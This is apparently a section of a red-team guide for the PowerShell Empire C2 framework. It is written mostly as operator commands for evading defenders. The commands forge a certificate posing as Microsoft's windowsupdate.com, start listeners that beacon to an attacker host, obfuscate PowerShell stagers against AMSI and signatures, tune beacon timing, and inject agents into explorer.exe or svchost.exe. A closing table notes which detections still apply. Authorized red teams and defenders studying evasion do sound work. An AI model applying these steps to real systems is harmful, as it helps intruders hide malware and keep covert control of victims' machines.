7. Obfuscation & Evasion
Evasion Layersβ
No single technique defeats all defenses. Layer these in combination based on what the target environment is running.
| Layer | Technique | Addresses |
|---|---|---|
| 1 | HTTPS listener | Network inspection, plaintext C2 detection |
| 2 | Custom TLS certificate | TLS anomaly alerts on self-signed certs |
| 3 | Malleable C2 profile | HTTP traffic fingerprinting (IDS/NSM signatures) |
| 4 | Invoke-Obfuscation on stagers | AMSI, static PowerShell signature detection |
| 5 | Sleep + jitter | Beacon frequency/regularity detections |
| 6 | Working hours restriction | After-hours anomaly detection |
| 7 | Process injection (psinject) | Agent running in a suspicious process |
Layer 1β2: HTTPS Listener with Custom Certificateβ
Encrypts C2 traffic and replaces the default self-signed cert that triggers TLS anomaly alerts.
# Generate a custom cert with a plausible subject (match your cover traffic)
openssl req -new -x509 -keyout /tmp/empire.pem -out /tmp/empire.pem -days 365 -nodes \
-subj "/C=US/ST=Virginia/L=McLean/O=Microsoft Corporation/CN=windowsupdate.com"
# Start HTTPS listener with custom cert
(Empire: listeners) > uselistener https
(Empire: listeners/https) > set Host https://<ATTACKER_IP>
(Empire: listeners/https) > set Port 443
(Empire: listeners/https) > set CertPath /tmp/empire.pem
(Empire: listeners/https) > execute
Use port 443 - HTTPS on non-standard ports is immediately suspicious and gets flagged by most NSM tools.
Layer 3: Malleable C2 Profileβ
Shapes all HTTP request/response structures to match a legitimate application. An analyst watching traffic sees what looks like normal CDN requests or Microsoft update traffic instead of Empire beacons.
# Place a profile on the Empire server
cp /path/to/amazon.profile /usr/share/powershell-empire/empire/server/data/profiles/
# Start the malleable listener
(Empire: listeners) > uselistener http_malleable
(Empire: listeners/http_malleable) > set Host http://<ATTACKER_IP>
(Empire: listeners/http_malleable) > set Port 80
(Empire: listeners/http_malleable) > set ProfilePath /usr/share/powershell-empire/empire/server/data/profiles/amazon.profile
(Empire: listeners/http_malleable) > execute
Pre-built profiles mimicking Amazon, Bing, OneDrive, jQuery, and others are available in the BC-Security Malleable C2 Profiles repository.
Pair with HTTPS for full coverage: malleable profiles shape the HTTP layer, HTTPS encrypts it so the profile content itself can't be inspected.
Layer 4: Invoke-Obfuscationβ
Empire has Invoke-Obfuscation built in. When enabled on a stager, it transforms the PowerShell launcher before output - changing string concatenation, encoding, and execution patterns to break static signatures.
Enable on a stagerβ
(Empire: stager/multi/launcher) > set Obfuscate True
(Empire: stager/multi/launcher) > set ObfuscateCommand Token\All\1
(Empire: stager/multi/launcher) > generate
Common ObfuscateCommand valuesβ
| Value | Technique |
|---|---|
Token\All\1 | Tokenize and obfuscate all elements (recommended starting point) |
Token\String\1 | Obfuscate string literals only |
Token\Command\1 | Obfuscate command names |
Encoding\1 | Encode the entire script |
Launcher\PS\1 | Re-encode the launcher itself |
Obfuscation increases payload size and can slow execution. Token\All\1 is a good balance - it breaks most static signatures without making the payload excessively large or slow.
The Obfuscate option has a known bug in some Empire versions where stager generation fails with FileNotFoundError. If this happens, generate without obfuscation and manually run the launcher through a standalone Invoke-Obfuscation instance.
Layer 5β6: Sleep, Jitter, and Working Hoursβ
Set on deployed agents to control beacon regularity and operational hours. See Agent Management for full details.
# Slow, irregular beacon - reduces frequency-based detections
(Empire: <AGENT_NAME>) > sleep 300 0.3
# Business-hours-only beaconing
(Empire: <AGENT_NAME>) > workinghours 08:00-17:00
Layer 7: Process Injectionβ
By default the agent runs in a PowerShell process - a high-value target for EDR. Migrate the agent into a less suspicious process using psinject.
# Inject a new agent into a target PID
(Empire: <AGENT_NAME>) > psinject <LISTENER_NAME> <TARGET_PID>
Good injection targets: explorer.exe, svchost.exe, notepad.exe, browser processes. Avoid injecting into security software processes.
psinject spawns a new agent in the target process - the original agent remains. Once the injected agent checks in, you can kill the original PowerShell-hosted agent to reduce your footprint.
What This Doesn't Solveβ
Even with all layers applied, the following will likely still detect Empire activity on a mature defended network:
| Remaining Detection Surface | Why |
|---|---|
| PowerShell script block logging | Logs decrypted PS code regardless of obfuscation if ETW is intact |
| EDR with memory scanning | Detects Empire agent DLLs in process memory by signature |
| Behavioral analytics (UEBA) | Detects unusual processes making outbound HTTPS calls |
| Network traffic volume/timing | Even jittered beacons build a statistical fingerprint over time |
| Domain reputation | New/unknown domains flagged by web proxies |
Empire is a well-known framework with published signatures. On a target with mature EDR (CrowdStrike, Defender for Endpoint, Carbon Black), assume Empire will be detected without significant custom modification. Use these layers to raise the detection cost, not to guarantee stealth.